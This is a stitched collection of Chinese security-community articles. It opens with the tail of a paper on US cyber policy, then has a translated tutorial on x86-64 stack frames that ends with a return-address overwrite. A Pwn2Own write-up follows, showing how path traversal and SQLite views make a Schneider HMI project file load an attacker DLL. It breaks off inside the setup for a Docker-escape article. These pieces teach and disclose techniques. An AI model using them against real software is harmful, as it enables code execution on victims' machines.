联盟体系控制力、价值观吸引力都逐渐消减的情况下，实现这一战略目标的前景并不乐观。
“美国优先” 的单边主义内核难以有效组织应对全球性、
跨国性和普遍性的网络环境风险和网络活动威胁，难以兼容网络空间发展的共享性需求，也难以从根本上解决网络空间的全球性公共问题。特朗普上任之初，华盛顿邮报的一篇评论认为特朗普政府“美国优先”对外政策将导致“美国孤单”。不论是美国国内政治发展，还是国际社会运行，都不会长期受限于这一本质上已经落后于时代的政治口号。在内外压力之下，特朗普政府试图充实“美国优先”
的政策内涵，并根据时势变化进行修正，亦不排除“美国优先”
与实际政策运行逐渐脱离，蜕化为一个单纯的政治口号的前景。特朗普政府或将逐渐接受华盛顿的政治文化，从而将其对外政策的重点大致恢复到安全、
经济和价值观相对平衡的状态。
作者：汪晓风，复旦大学美国研究中心副研究员，国际政治学博士。
责任编辑：张宇超 一审：陈鑫 二审：王铮
文章来源：《复旦学报（社会科学版）》2019年第4期 | 社区文章 |
**本文翻译自：[Hack the virtual memory: the stack, registers and assembly
code](https://blog.holbertonschool.com/hack-virtual-memory-stack-registers-assembly-code/ "Hack the virtual memory: the stack, registers and assembly
code")**
# Hack the virtual memory: the stack, registers and assembly code
## 栈
正如我们在[第2章](https://xz.aliyun.com/t/2533
"第2章")中看到的，栈位于内存的高端并向下增长。但它如何正常工作？它如何转换为汇编代码？使用的寄存器是什么？在本章中，我们将详细介绍栈的工作原理，以及程序如何自动分配和释放局部变量。
一旦我们理解了这一点，我们就可以尝试劫持程序的执行流程。
*注意：我们将仅讨论用户栈，而不是内核栈
## 前提
为了完全理解本文，你需要知道：
* C语言的基础知识（特别是指针部分）
## 环境
所有脚本和程序都已经在以下系统上进行过测试：
* Ubuntu
* Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
* 使用的工具:
* gcc
* gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
* objdump
* GNU objdump (GNU Binutils for Ubuntu) 2.2
**下文讨论的所有内容都适用于此系统/环境，但在其他系统上可能会有所不同**
## 自动分配
首先让我们看一个非常简单的程序，只有一个函数，并在函数中使用了单个变量（0-main.c）：
#include <stdio.h>
int main(void)
{
int a;
a = 972;
printf("a = %d\n", a);
return (0);
}
让我们编译这个程序，并使用objdump反汇编它：
holberton$ gcc 0-main.c
holberton$ objdump -d -j .text -M intel
main函数反汇编生成的代码如下：
000000000040052d <main>:
40052d: 55 push rbp
40052e: 48 89 e5 mov rbp,rsp
400531: 48 83 ec 10 sub rsp,0x10
400535: c7 45 fc cc 03 00 00 mov DWORD PTR [rbp-0x4],0x3cc
40053c: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
40053f: 89 c6 mov esi,eax
400541: bf e4 05 40 00 mov edi,0x4005e4
400546: b8 00 00 00 00 mov eax,0x0
40054b: e8 c0 fe ff ff call 400410 <printf@plt>
400550: b8 00 00 00 00 mov eax,0x0
400555: c9 leave
400556: c3 ret
400557: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
40055e: 00 00
现在先关注前三行：
000000000040052d <main>:
40052d: 55 push rbp
40052e: 48 89 e5 mov rbp,rsp
400531: 48 83 ec 10 sub rsp,0x10
main函数的第一行引用了rbp和rsp;这些是有特殊用途的寄存器。rbp是基址指针寄存器，指向当前栈帧的底部，rsp是栈指针寄存器，指向当前栈帧的顶部。
让我们逐步分析这句汇编语句。这是main函数第一条指令运行之前栈的状态：
* **push rbp** 指令将寄存器rbp的值压入栈中。因为它“压入”到栈上，所以现在rsp的值是栈新的顶部的内存地址。栈和寄存器看起来像这样：
* **mov rbp，rsp** 将rsp的值复制到rbp中 -> rpb和rsp现在都指向栈的顶部
* **sub rsp，0x10** 预留一些空间（rbp和rsp之间的空间）来存储局部变量。请注意，此空间足以存储我们的整型变量
我们刚刚在内存中为局部变量创建了一个空间 —— 在栈中。这个空间被称为栈帧。每个具有局部变量的函数都将使用栈帧来存储自己的局部变量。
## 使用局部变量
main函数的第四行汇编代码如下：
400535: c7 45 fc cc 03 00 00 mov DWORD PTR [rbp-0x4],0x3cc
0x3cc的十进制值为972。这一行对应于我们的C代码：
a = 972;
**mov DWORD PTR [rbp-0x4]，0x3cc** 将rbp-4地址处的内存赋值为972。[rbp -4]是我们的局部变量a。计算机实际上并不知道我们在代码中使用的变量名称，它只是引用栈上的内存地址。
执行此指令后的栈和寄存器状态：
## 函数返回，自动释放
如果查看一下函数的末尾代码，我们会发现：
400555: c9 leave
此指令将rsp设置为rbp，然后将栈顶弹出赋值给rbp。
因为我们在函数的开头处将rbp的先前值压入栈，所以rbp现在设置为rbp的先前值。这就是：
* 局部变量被“释放”
* 在离开当前函数之前，先恢复上一个函数的栈帧。
栈和寄存器rbp和rsp恢复到刚进入main函数时的状态。
## Playing with the stack
当变量从栈中自动释放时，它们不会被完全“销毁”。它们的值仍然存在内存中，并且这个空间可能会被其他函数使用。
所以在编写代码时要初始化变量，否则，它们将在程序运行时获取栈中的任何值。
让我们考虑以下C代码（1-main.c）：
#include <stdio.h>
void func1(void)
{
int a;
int b;
int c;
a = 98;
b = 972;
c = a + b;
printf("a = %d, b = %d, c = %d\n", a, b, c);
}
void func2(void)
{
int a;
int b;
int c;
printf("a = %d, b = %d, c = %d\n", a, b, c);
}
int main(void)
{
func1();
func2();
return (0);
}
正如所见，func2函数并没有初始化局部变量a，b和c，如果我们编译并运行此程序，它将打印...
holberton$ gcc 1-main.c && ./a.out
a = 98, b = 972, c = 1070
a = 98, b = 972, c = 1070
holberton$
...与func1函数输出的变量值相同！这是因为栈的工作原理。这两个函数以相同的顺序声明了相同数量的变量（具有相同的类型）。他们的栈帧完全相同。当func1结束时，其局部变量所在的内存不会被清除
—— 只有rsp递增。
因此，当我们调用func2时，它的栈帧位于与前一个func1栈帧完全相同的位置，当我们离开func1时，func2的局部变量具有与func1的局部变量相同的值。
让我们检查反汇编代码来证明上述：
holberton$ objdump -d -j .text -M intel
000000000040052d <func1>:
40052d: 55 push rbp
40052e: 48 89 e5 mov rbp,rsp
400531: 48 83 ec 10 sub rsp,0x10
400535: c7 45 f4 62 00 00 00 mov DWORD PTR [rbp-0xc],0x62
40053c: c7 45 f8 cc 03 00 00 mov DWORD PTR [rbp-0x8],0x3cc
400543: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8]
400546: 8b 55 f4 mov edx,DWORD PTR [rbp-0xc]
400549: 01 d0 add eax,edx
40054b: 89 45 fc mov DWORD PTR [rbp-0x4],eax
40054e: 8b 4d fc mov ecx,DWORD PTR [rbp-0x4]
400551: 8b 55 f8 mov edx,DWORD PTR [rbp-0x8]
400554: 8b 45 f4 mov eax,DWORD PTR [rbp-0xc]
400557: 89 c6 mov esi,eax
400559: bf 34 06 40 00 mov edi,0x400634
40055e: b8 00 00 00 00 mov eax,0x0
400563: e8 a8 fe ff ff call 400410 <printf@plt>
400568: c9 leave
400569: c3 ret
000000000040056a <func2>:
40056a: 55 push rbp
40056b: 48 89 e5 mov rbp,rsp
40056e: 48 83 ec 10 sub rsp,0x10
400572: 8b 4d fc mov ecx,DWORD PTR [rbp-0x4]
400575: 8b 55 f8 mov edx,DWORD PTR [rbp-0x8]
400578: 8b 45 f4 mov eax,DWORD PTR [rbp-0xc]
40057b: 89 c6 mov esi,eax
40057d: bf 34 06 40 00 mov edi,0x400634
400582: b8 00 00 00 00 mov eax,0x0
400587: e8 84 fe ff ff call 400410 <printf@plt>
40058c: c9 leave
40058d: c3 ret
000000000040058e <main>:
40058e: 55 push rbp
40058f: 48 89 e5 mov rbp,rsp
400592: e8 96 ff ff ff call 40052d <func1>
400597: e8 ce ff ff ff call 40056a <func2>
40059c: b8 00 00 00 00 mov eax,0x0
4005a1: 5d pop rbp
4005a2: c3 ret
4005a3: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
4005aa: 00 00 00
4005ad: 0f 1f 00 nop DWORD PTR [rax]
正如所见，栈帧的形成方式始终是一致的。在两个函数中，栈帧的大小是相同的，因为他们的局部变量是一样的。
push rbp
mov rbp,rsp
sub rsp,0x10
两个函数都以leave语句结束。
变量a，b和c在两个函数中都以相同的方式引用：
* a 位于内存地址rbp - 0xc
* b 位于内存地址rbp - 0x8
* c 位于内存地址rbp - 0x4
请注意，栈中这些变量的顺序与我们代码中的顺序不同。编译器按需要对它们进行排序，因此永远不要假设栈中的局部变量的顺序。
所以，这是我们离开func1之前的栈和寄存器rbp和rsp的状态：
当我们离开func1函数时，leave已经执行; 如前所述，这是栈，rbp和rsp在返回到main函数之前的状态：
因此，当进入func2时，局部变量被设置为栈中的任何内容，这就是它们的值与func1函数的局部变量相同的原因。
### ret
你可能已经注意到我们所有的示例函数都以ret指令结束。ret从栈中弹出返回地址并跳转到该处。当函数被调用时，程序使用call指令来压入返回地址，然后跳转到被调用函数的第一条指令处。
这就是程序如何调用函数并从被调用函数返回到调用函数接着执行其下一条指令的原理。
所以这意味着栈上不仅有变量，还有指令的内存地址。让我们重新审视我们的1-main.c代码。
当main函数调用func1时，
400592: e8 96 ff ff ff call 40052d <func1>
它将下一条指令的内存地址压入栈中，然后跳转到func1。
因此，在执行func1中的指令之前，栈顶部包含此地址，既rsp指向此值。
在形成func1的栈帧之后，栈看起来像这样：
## 综上所述
根据我们刚刚学到的东西，我们可以直接使用rbp访问所有局部变量（不需要使用C变量！），以及栈中保存的rbp值和函数的返回地址。
在C语言中，可以这样写：
register long rsp asm ("rsp");
register long rbp asm ("rbp");
程序2-main.c代码：
#include <stdio.h>
void func1(void)
{
int a;
int b;
int c;
register long rsp asm ("rsp");
register long rbp asm ("rbp");
a = 98;
b = 972;
c = a + b;
printf("a = %d, b = %d, c = %d\n", a, b, c);
printf("func1, rpb = %lx\n", rbp);
printf("func1, rsp = %lx\n", rsp);
printf("func1, a = %d\n", *(int *)(((char *)rbp) - 0xc) );
printf("func1, b = %d\n", *(int *)(((char *)rbp) - 0x8) );
printf("func1, c = %d\n", *(int *)(((char *)rbp) - 0x4) );
printf("func1, previous rbp value = %lx\n", *(unsigned long int *)rbp );
printf("func1, return address value = %lx\n", *(unsigned long int *)((char *)rbp + 8) );
}
void func2(void)
{
int a;
int b;
int c;
register long rsp asm ("rsp");
register long rbp asm ("rbp");
printf("func2, a = %d, b = %d, c = %d\n", a, b, c);
printf("func2, rpb = %lx\n", rbp);
printf("func2, rsp = %lx\n", rsp);
}
int main(void)
{
register long rsp asm ("rsp");
register long rbp asm ("rbp");
printf("main, rpb = %lx\n", rbp);
printf("main, rsp = %lx\n", rsp);
func1();
func2();
return (0);
}
### 获取变量的值
在之前的发现中，我们知道变量是通过rbp - 0xX的方式引用的：
* a is at rbp - 0xc
* b is at rbp - 0x8
* c is at rbp - 0x4
因此，为了获得这些变量的值，我们需要解引用rbp。对于变量a：
* 将变量rbp转换为char *：（char *）rbp
* 减去正确的字节数以获取变量在内存中的地址：（char *）rbp - 0xc
* 再次将它转换为指向int的指针，因为a是int类型变量：（int *）（（（char *）rbp） - 0xc）
* 解引用以获取此地址内存中的值：*（int *）（（（char *）rbp） - 0xc）
### 保存的rbp值
查看上图，当前rbp直接指向保存的rbp，因此我们只需将变量rbp转换为指向unsigned long int的指针并解引用它：*（unsigned
long int *）rbp。
### 返回地址值
返回地址值就在栈上保存的先前rbp之前。rbp是8个字节长，所以我们只需要在rbp的当前值上加8，就获得该返回值在栈上的地址。这是我们的做法：
* 将变量rbp转换为char *：（char *）rbp
* 将8加到此值上：（（char *）rbp + 8）
* 将它转换为指向unsigned long int的指针:( unsigned long int *）（（char *）rbp + 8）
* 解引用以获取此地址内存中的值：*（unsigned long int *）（（char *）rbp + 8）
### 程序输出
holberton$ gcc 2-main.c && ./a.out
main, rpb = 7ffc78e71b70
main, rsp = 7ffc78e71b70
a = 98, b = 972, c = 1070
func1, rpb = 7ffc78e71b60
func1, rsp = 7ffc78e71b50
func1, a = 98
func1, b = 972
func1, c = 1070
func1, previous rbp value = 7ffc78e71b70
func1, return address value = 400697
func2, a = 98, b = 972, c = 1070
func2, rpb = 7ffc78e71b60
func2, rsp = 7ffc78e71b50
holberton$
可以看到：
* 从func1我们可以通过rbp正确访问所有变量
* 从func1我们可以得到main函数的rbp
* 证实了func1和func2确实具有相同的rbp和rsp值
* rsp和rbp之间的差异是0x10，如汇编代码中所示（sub rsp，0x10）
* 在main函数中，rsp == rbp，因为main函数中没有局部变量
func1的返回地址是 **0x400697**
。让我们通过反汇编程序来验证一下。如果我们是正确的，那么这应该是在main函数中调用func1之后的指令的地址。
holberton$ objdump -d -j .text -M intel | less
0000000000400664 <main>:
400664: 55 push rbp
400665: 48 89 e5 mov rbp,rsp
400668: 48 89 e8 mov rax,rbp
40066b: 48 89 c6 mov rsi,rax
40066e: bf 3b 08 40 00 mov edi,0x40083b
400673: b8 00 00 00 00 mov eax,0x0
400678: e8 93 fd ff ff call 400410 <printf@plt>
40067d: 48 89 e0 mov rax,rsp
400680: 48 89 c6 mov rsi,rax
400683: bf 4c 08 40 00 mov edi,0x40084c
400688: b8 00 00 00 00 mov eax,0x0
40068d: e8 7e fd ff ff call 400410 <printf@plt>
400692: e8 96 fe ff ff call 40052d <func1>
400697: e8 7a ff ff ff call 400616 <func2>
40069c: b8 00 00 00 00 mov eax,0x0
4006a1: 5d pop rbp
4006a2: c3 ret
4006a3: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
4006aa: 00 00 00
4006ad: 0f 1f 00 nop DWORD PTR [rax]
yes! \o/
## Hack the stack!
既然我们知道了返回地址在栈上的位置，那么我们修改这个值会怎么样？
我们是否可以改变程序的流程并使func1返回到其他地方？在程序中添加一个名为bye的新函数（3-main.c）：
#include <stdio.h>
#include <stdlib.h>
void bye(void)
{
printf("[x] I am in the function bye!\n");
exit(98);
}
void func1(void)
{
int a;
int b;
int c;
register long rsp asm ("rsp");
register long rbp asm ("rbp");
a = 98;
b = 972;
c = a + b;
printf("a = %d, b = %d, c = %d\n", a, b, c);
printf("func1, rpb = %lx\n", rbp);
printf("func1, rsp = %lx\n", rsp);
printf("func1, a = %d\n", *(int *)(((char *)rbp) - 0xc) );
printf("func1, b = %d\n", *(int *)(((char *)rbp) - 0x8) );
printf("func1, c = %d\n", *(int *)(((char *)rbp) - 0x4) );
printf("func1, previous rbp value = %lx\n", *(unsigned long int *)rbp );
printf("func1, return address value = %lx\n", *(unsigned long int *)((char *)rbp + 8) );
}
void func2(void)
{
int a;
int b;
int c;
register long rsp asm ("rsp");
register long rbp asm ("rbp");
printf("func2, a = %d, b = %d, c = %d\n", a, b, c);
printf("func2, rpb = %lx\n", rbp);
printf("func2, rsp = %lx\n", rsp);
}
int main(void)
{
register long rsp asm ("rsp");
register long rbp asm ("rbp");
printf("main, rpb = %lx\n", rbp);
printf("main, rsp = %lx\n", rsp);
func1();
func2();
return (0);
}
让我们看看这个函数的代码位于哪里：
holberton$ gcc 3-main.c && objdump -d -j .text -M intel | less
00000000004005bd <bye>:
4005bd: 55 push rbp
4005be: 48 89 e5 mov rbp,rsp
4005c1: bf d8 07 40 00 mov edi,0x4007d8
4005c6: e8 b5 fe ff ff call 400480 <puts@plt>
4005cb: bf 62 00 00 00 mov edi,0x62
4005d0: e8 eb fe ff ff call 4004c0 <exit@plt>
现在让我们在func1函数中替换栈上的返回地址为bye函数的起始地址， **4005bd** （4-main.c）：
#include <stdio.h>
#include <stdlib.h>
void bye(void)
{
printf("[x] I am in the function bye!\n");
exit(98);
}
void func1(void)
{
int a;
int b;
int c;
register long rsp asm ("rsp");
register long rbp asm ("rbp");
a = 98;
b = 972;
c = a + b;
printf("a = %d, b = %d, c = %d\n", a, b, c);
printf("func1, rpb = %lx\n", rbp);
printf("func1, rsp = %lx\n", rsp);
printf("func1, a = %d\n", *(int *)(((char *)rbp) - 0xc) );
printf("func1, b = %d\n", *(int *)(((char *)rbp) - 0x8) );
printf("func1, c = %d\n", *(int *)(((char *)rbp) - 0x4) );
printf("func1, previous rbp value = %lx\n", *(unsigned long int *)rbp );
printf("func1, return address value = %lx\n", *(unsigned long int *)((char *)rbp + 8) );
/* hack the stack! */
*(unsigned long int *)((char *)rbp + 8) = 0x4005bd;
}
void func2(void)
{
int a;
int b;
int c;
register long rsp asm ("rsp");
register long rbp asm ("rbp");
printf("func2, a = %d, b = %d, c = %d\n", a, b, c);
printf("func2, rpb = %lx\n", rbp);
printf("func2, rsp = %lx\n", rsp);
}
int main(void)
{
register long rsp asm ("rsp");
register long rbp asm ("rbp");
printf("main, rpb = %lx\n", rbp);
printf("main, rsp = %lx\n", rsp);
func1();
func2();
return (0);
}
holberton$ gcc 4-main.c && ./a.out
main, rpb = 7fff62ef1b60
main, rsp = 7fff62ef1b60
a = 98, b = 972, c = 1070
func1, rpb = 7fff62ef1b50
func1, rsp = 7fff62ef1b40
func1, a = 98
func1, b = 972
func1, c = 1070
func1, previous rbp value = 7fff62ef1b60
func1, return address value = 40074d
[x] I am in the function bye!
holberton$ echo $?
98
holberton$
bye函数成功执行了，并没有显示调用它:) | 社区文章 |
## 译文声明
本文是翻译文章，原作者 Soroush Dalili
原文地址：<https://www.thezdi.com/blog/2020/9/9/performing-sql-backflips-to-achieve-code-execution-on-schneider-electrics-ecostruxure-operator-terminal-expert-at-pwn2own-miami-2020>
译文仅作参考，具体内容表达请见原文
## 简介
在本文中，我们将为读者详细介绍Claroty Research团队的Amir Preminger和Sharon
Brizinov是如何组合利用两个漏洞，来触发施耐德工控软件EcoStruxure Operator Terminal
Expert的代码执行漏洞，从而在首届举办的[Pwn2Own迈阿密大赛](https://www.zerodayinitiative.com/blog/2020/1/21/pwn2own-miami-2020-schedule-and-live-results
"Pwn2Own迈阿密大赛")上赢得了2.5万美元奖金。这里所述的漏洞存在于施耐德电气公司的EcoStruxure Operator Terminal
Expert软件的V3.1.100.267(SP 1）和之前版本（以前称为Vijeo XD）中。
实际上，攻击者只要引诱受害者打开（双击）EcoStruxure Operator Terminal
Expert软件的项目文件，就能够利用默认配置发动相应的漏洞。这时，将触发应用程序上下文中的代码执行漏洞。总的来说，要想成功利用这个代码执行漏洞，需要组合利用下文描述的两个已知的漏洞。在本文中，我们先按照漏洞被发现的顺序来描述其详细信息，然后，给出组合运用这些漏洞并实现命令执行攻击所需的具体步骤。下面，我们先给出相应的演示视频的地址：<https://youtu.be/SAmhljE9ZlE。>
## 漏洞详情
EcoStruxure Control Terminal
Expert是一个软件环境，用于设计人机界面（HMI）设备的图形用户界面。这些用户界面用于控制工业部署中可编程逻辑控制器 (PLC) 的操作。
图1 使用EcoStruxure Control Terminal Expert设计水流控制
在这里，所有的项目信息，包括各种设置和图形组件的信息，都会被保存到一个后缀为.VXDZ的EcoStruxure Control Terminal
Expert项目文件中。实际上，.VXDZ项目文件就是一个存放各种文件的压缩目录，这些文件包含了程序还原项目所需的全部信息，以便工程师在以后可以继续工作。项目文件主要包括以下几种文件类型：
* .db：SQLite3数据库文件，包括各种项目配置和设置。
* .inf/.dat：JSON文件，用于存储数据和设置。例如，每个屏幕及其图形组件都是用JSON表示的。
图2 项目目录
当工程师打开项目文件时，压缩后的目录会被解压到一个临时目录下，路径如下所示：
C:\users\USER\AppData\Local\EcoStruxure\Temp\Schneider\CURRENT_VERSION_FULL\GUID\ProjectFiles
为了便于后面进行参考，我们将路径中与环境有关的组件用红色进行了相应的标记。另外，橙色显示的是GUID，它是在每次打开一个项目时随机生成的，即使这个项目之前已经打开过，亦是如此。这意味着这个路径无法提前预测，因为它取决于当前登录的用户、当前具体的版本名以及一次性随机生成的GUID。例如，下面就是我们打开一个项目文件时生成的一个有效的路径：
C:\Users\Administrator\AppData\Local\EcoStruxure\Temp \Schneider\Imagine3.1ServicePack\A1A98F0B-9487-41B3-84A2-2195ECAA11F5\ProjectFiles
此外，由于所使用的.NET zip库能够防止路径遍历企图，因此，只能提取随机生成的目录。
## 高级功能
与任何安全研究一样，我们需要尽量熟悉目标产品，并寻找那些可能没有被厂商深入检查过的复杂/先进功能。在把玩一阵EcoStruxure Control
Terminal
Expert后，我们发现了一个名为“Drivers”的功能。由于HMI是智能屏幕，呈现的数据是从工厂内的现场控制器收集的，所以必须具备查询功能，才能从PLC中获取数据。为了达到这个目的，施耐德提供了这样一种机制，即在项目中添加一个特定厂商的驱动程序，该驱动程序能够查询PLC以获取所需数据。我们知道，PLC有许多不同的型号，并且每个PLC都是通过自己的协议进行通信的。正因为如此，施耐德提供了许多的驱动程序，工程师可以根据他们需要集成的PLC自行选用。
图3 驱动程序是帮助HMI与所需控制设备（PLC）进行通信的组件。每个供应商及其特定设备（生态系统、协议栈等）都会提供许多不同的驱动程序。
有关特定项目文件使用的驱动程序的所有信息都位于一个名为DriverConfig.db的SQLite3数据库文件中，我们可以在项目目录中找到这个文件。我们在项目中添加了一个新的驱动程序，并检查了DriverConfig.db文件，发现其中有三个数据表：
* Driver_X：空表。
* Driver_X_Configuration_X：关于驱动程序的详细信息，如设置和元数据。这其中包括将要加载的驱动程序/模块名称。
图4 DriverConfig.db的内容
* Driver_X_Equipment_X：关于HMI将与之通信的PLC的详细信息。其中，会包括与PLC相关的信息，如IP地址、型号、协议等。
其中，X代表驱动索引，由于我们只添加了一个驱动，所以在我们的例子中X为0。
通过.NET反射器，我们研究了相关的中间语言(IL)代码。我们发现，ModuleName字段实际上就是驱动程序DLL，它将从预定义的目录中进行加载，并处理HMI和PLC之间的通信。例如，如果我们有一个Rockwell
Automation公司的PLC，我们就需要加载Rockwell公司相应的驱动程序——它通过EtherNet/IP+CIP协议与PLC进行通信。具体这里来说，需要加载驱动程序RockwellEIP.dll。为此，我们可以在该项目中的SQLite3数据库文件DriverConfig.db中的Driver_0_Configuation_0表的ModuleName列（字段）中加以指定。
图5 打开DriverConfig.db数据库的SQLite3查看器。ModuleName字段是驱动DLL的名称，它将被加载并处理HMI和PLC之间的通信。
## Bug No. 1：通过路径遍历以获取DLL加载原语
为了更好地理解如何从DriverConfig.db数据库中提取信息，我们钻进了一个“兔子洞”：DriverConfig.db的连接。我们可以看到，这里的代码会查询并提取Driver_x_configuration_0表中的所有属性。然后，它将一个新的Driver对象实例化，并根据表中找到的相应值设置ModuleName字段。最后，它使用
ModuleName字段指定的路径加载相应的驱动程序DLL文件。
由于数据库（包括ModuleName字段）在我们的掌控之下，我们可以提供一个带有一些
../../../字符的自定义ModuleName，以便从包含合法驱动程序的应用程序定义目录中导航出来。换句话说，我们能够从系统中加载任意DLL。
图6 我们将ModuleName字段改为../../../../claroty.dll，并使用procmon来监控系统。
然而，我们的攻击要想成功，必须满足下面两个条件：
1. 如果一个名为driver.xml的文件没有出现在将要加载的DLL旁边，那么该DLL将不会被加载。
2. 加载的DLL必须位于同名的目录中。
例如，如果我们将ModuleName改为Claroty，软件将进入预定义的驱动程序目录C:\Program Files\Schneider
Electric\EcoStruxure Operator Terminal Expert 3.1 Service
Pack\Drivers\Drivers，并寻找名为Claroty的目录，然后在该目录中搜索Claroty.dll和Driver.xml。如果这两个文件都找到了，就会加载里面的DLL，在本例中就是C:\Program
Files\Schneider Electric\EcoStruxure Operator Terminal Expert 3.1 Service
Pack\Drivers\Drivers\Claroty\Claroty.dll。
我们通过目录遍历实现了加载任意DLL的原语，这真是太棒了。但是，现在面临的问题是，我们如何才能提供自己的DLL，并使其运行呢？
好吧，在一定程度上说，我们还需要一个具有“任意文件写入”功能的原语。回想一下，我们的项目文件实际上就是一个包含文件和目录的压缩容器。也就是说，我们可以添加我们的文件和目录，然后再重新打包项目文件。当软件打开项目文件并提取所有文件时，我们添加的文件也会和其他文件一起被提取出来（并保存到临时目录中）。现在唯一的问题是：我们如何才能提前知道我们的文件会被解压到哪里，这样我们就可以在DriverConfig.db数据库下的ModuleName属性中设置相应的路径了。
下面，我们来总结一下：我们可以利用目录遍历漏洞来跳出正常的驱动程序的目录，同时，我们也可以在我们的项目文件被提取的时候，把一些文件和目录保存到硬盘上。但是，这些文件会被提取到一个随机的临时目录，我们无法提前预知，因为GUID每次都是随机生成的。
## Bug No. 2：未进行严格安全过滤导致敏感数据信息泄露
我们对这些问题思考了很久，后来终于想到了一个解决方案。这个解决方案来自于一个意想不到的领域：SQLite的魔术！我们使用SQL pragma和SQL
views数据库功能实时生成提取目录的完整路径。因此，我们可以让Terminal
Expert软件直接找到我们的恶意DLL。我们之所以能够做到这一点，是因为Terminal
Expert软件加载了我们所控制的项目文件中提供的数据库，并在没有对数据进行适当安全过滤的情况下查询表格。
## 什么是PRAGMA？
[PRAGMA](https://www.sqlite.org/pragma.html
"PRAGMA")语句是一个依赖于具体实现的SQL扩展。它可以用来修改SQLite库的操作，或者查询SQLite库的内部（非表）数据。例如，pragma
database_list命令将返回当前连接数据库的列表。
而SELECT file FROM pragma_database_list命令则会产生当前加载数据库的完整路径。
图7 显示当前加载的数据库的完整路径
这意味着我们可以在实时加载数据库之后生成数据库的完整路径。同样，这也是在将数据库保存到新建的、具有随机路径的临时目录之后完成的。现在，我们只需要一种方法来获取该查询的结果，并将其插入到软件即将查询的ModuleName属性中即可。
## 什么是视图？
为了达到上述目的，我们使用了数据库的一个不太常用的功能：视图。在数据库中，视图是一个存储查询的结果集。换句话说，视图就像一个动态创建的表，它是在客户端查询时实时生成的。当客户端查询视图时，数据库会查询为视图定义的实际表，并根据视图的设置对生成的数据进行重组，最后将完整的结果反馈给客户端——整个过程对客户端而言是透明的。从客户端的角度来看，似乎正在查询数据库中找到的常规表。
图8 数据库视图和我们实时影响查询的抽象方案
在我们的案例中，客户端是EcoStruxure Operator Terminal
Expert软件，它查询驱动程序数据库以获取ModuleName属性，从而可以加载驱动程序DLL。我们的计划是在数据库被提取到临时位置后，实时修改ModuleName属性，最终让ModuleName保存我们数据库的实际路径。
## 1+2=RCE：组合两个漏洞，实现代码执行攻击
在项目文件中，我们需要准备一个名为ClarotyModule的目录，其中含有如下所示的两个文件：
* Driver.xml
* ClarotyModule.dll
我们将按照以下步骤准备DriverConfig.db：
1. 我们将原来的Driver_0_Configuration_0表重命名为Driver_0_Configuration_0_ORIG。
2. 我们将创建一个名为Driver_0_Configuration_0的VIEW表。
当客户端查询“原来的”表Driver_0_Configuration_0时，实际上会查询我们新建的VIEW表。在查询到ModuleName字段后，我们将VIEW表的内部处理设置为返回SELECT
file FROM
pragma_database_list的结果，并对其进行必要的修改，以构成正确的目录遍历语法。通过这种方式，我们可以在文件夹结构中向上、向下导航，直到抵达当前的临时目录中，也就是我们的payload
DLL所在的位置。
图9 精心构造一个驱动数据库，使其实时包含我们DLL的路径。
最后，我们把所有的部分重新打包成一个VXDZ项目文件。当受害者双击该文件时，我们的DLL将被加载，之后，我们的代码也将被执行。
图10 POC运行时，会打开项目文件，并执行相应的代码
## 小结
在本文中，我们为读者详细介绍了如何利用EcoStruxure Operator Terminal Expert读取给定项目文件的方式，通过执行一些SQL
backflips操作，诱导软件加载我们提供的DLL，从而在打开项目文件时发动任意代码执行攻击。施耐德电气公司已经[修复](https://www.se.com/ww/en/download/document/SEVD-2020-133-04/
"修复")了这些漏洞，并将其分配了相应的编号：CVE-2020-7494与CVE-2020-7496。 | 社区文章 |
**作者：H4iiluv@青藤实验室
原文链接：<https://mp.weixin.qq.com/s/ea8YLaXjSjKcN4MNgMi2aQ>**
## 1 前言
Docker是时下使用范围最广的开源容器技术之一，具有高效易用等优点。由于设计的原因，Docker天生就带有强大的安全性，甚至比虚拟机都要更安全，但如此的Docker也会被人攻破，Docker逃逸所造成的影响之大几乎席卷了全球的Docker容器。
下面是网上找的一张docker的架构图。
近些年，Docker逃逸所利用的漏洞大部分都发生在shim和runc上，每一次出现相关漏洞都能引起相当大的关注。
除了Docker本身组件的漏洞可以进行Docker逃逸之外，Linux内核漏洞也可以进行逃逸。因为容器的内核与宿主内核共享，使用Namespace与Cgroups这两项技术，使容器内的资源与宿主机隔离，所以Linux内核产生的漏洞能导致容器逃逸。
本文就来尝试利用一个内核漏洞在最新版的Docker上实现逃逸。
## 2 内核调试环境搭建
因为是利用Linux内核漏洞进行Docker逃逸，内核调试环境搭建是必不可少的，已经熟悉Linux内核调试的读者可以跳过这节。
本文的测试操作系统环境是：
虚拟机：vmware workstation 16
linux发行版：Centos 7.2.1511 2个CPU 2G内存
linux内核(使用uname -r查看)：3.10.0-327.el7.x86_64
### 2.1 下载安装指定的内核版本对应的符号包
自己去网上找对应的内核符号包下载安装
安装命令
sudo rpm -i kernel-debuginfo-3.10.0-327.el7.x86_64.rpm
sudo rpm -i kernel-debuginfo-common-x86_64-3.10.0-327.el7.x86_64.rpm
### 2.2 下载指定的内核版本对应的源码包
得自己去网上找对应的内核源码包下载
kernel-3.10.0-327.el7.src.rpm
### 2.3 grub配置
安装好内核和内核符号包之后就可以去/boot/grub2/grub.cfg里复制指定内核的menuentry
sudo gedit /boot/grub2/grub.cfg
将复制的menuentry粘贴到/etc/grub.d/40_custom文件中
sudo gedit /etc/grub.d/40_custom
在linux16启动命令这一行后面添加一行指令
kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon
如下例子：
#!/bin/sh
exec tail -n +3 $0
# This file provides an easy way to add custom menu entries. Simply type the
# menu entries you want to add after this comment. Be careful not to change
# the 'exec tail' line above.
menuentry '(Debug)' --class centos --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option {
load_video
set gfxpayload=keep
insmod gzio
insmod part_msdos
insmod xfs
set root='hd0,0'
if [ x$feature_platform_search_hint = xy ]; then
search --no-floppy --fs-uuid --set=root e1fba75c-a2c9-4f39-9446-34a78704a68e
else
search --no-floppy --fs-uuid --set=root e1fba75c-a2c9-4f39-9446-34a78704a68e
fi
